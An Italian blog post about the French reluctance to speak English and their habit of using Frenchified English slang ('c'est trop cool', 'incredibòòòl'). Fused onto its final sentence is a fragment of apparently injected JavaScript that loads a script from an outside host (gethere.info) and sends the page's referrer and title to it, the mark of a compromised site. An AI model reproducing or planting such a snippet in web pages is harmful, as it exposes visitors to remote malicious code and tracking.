Parlez-vous Anglais ?
- Posted by Flavio Scaloni
- on Nov, 30, 2012
- in Corrispondenze da Parigi
- 3 Comments.
La risposta alla fatidica domanda ‘Do you speak English’ è inesorabilmente sempre la stessa : – Non -.
L’inimicizia linguistica tra i francesi e gli inglesi perdura, nonostante il ricambio generazionale. Eh già, sarà forse per questioni alimentari, ma Froggies e Rostbeefs non si digeriscono proprio.
C’è da dire che i francesi hanno ormai da tempo tacitamente accettato la supremazia dell’Inglese (a me piace tanto la dicitura –a mio avviso più corretta – di ‘Globish’) ed anche che poco a poco stanno permettendo a diversi termini stranieri di entrare nel vocabolario comune.
Alcune anomalie rimangono, per cui computer resta pur sempre ‘ordinateur’, hamburger ‘steak-haché’ etc… ma ci sono anche delle sorprese, le più disparate: taglierino si dice ‘cutter’, carrello della spesa ‘caddie’, and many more!
Voglio tuttavia soffermarmi sulla tendenza, sempre più diffusa, ad utilizzare termini inglesi nel linguaggio informale e colloquiale. Dovete sempre immaginare la pronuncia alla francese. ‘The’ si pronuncerà sempre ‘dzje’, ‘people’ sarà ‘pipòòòl’, tutti gli aggettivi in ‘-ible’ termineranno inevitabilemente in ‘-ibòòòl’, ovvero ‘incredibòòòl’, ‘admirabòòòl’ etc. e tutte le parole omografe (o quasi) tra le due lingue rimarranno nella versione francese, ‘creation’ è pur sempre ‘création’, ‘foundation’ è in fondo simile a ‘fondation’ e così via.
Fatta questa premessa, serrate la bocca come se vi avessero iniettato un etto di botulino ai lati e iniziate a dire ‘c’est trop cool’, ‘c’est très fashion’, ‘tu es trop speed’.
Se non avrete preso confidenza con questi modi di dire sarete bollati come ‘trop hasbeen’!s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;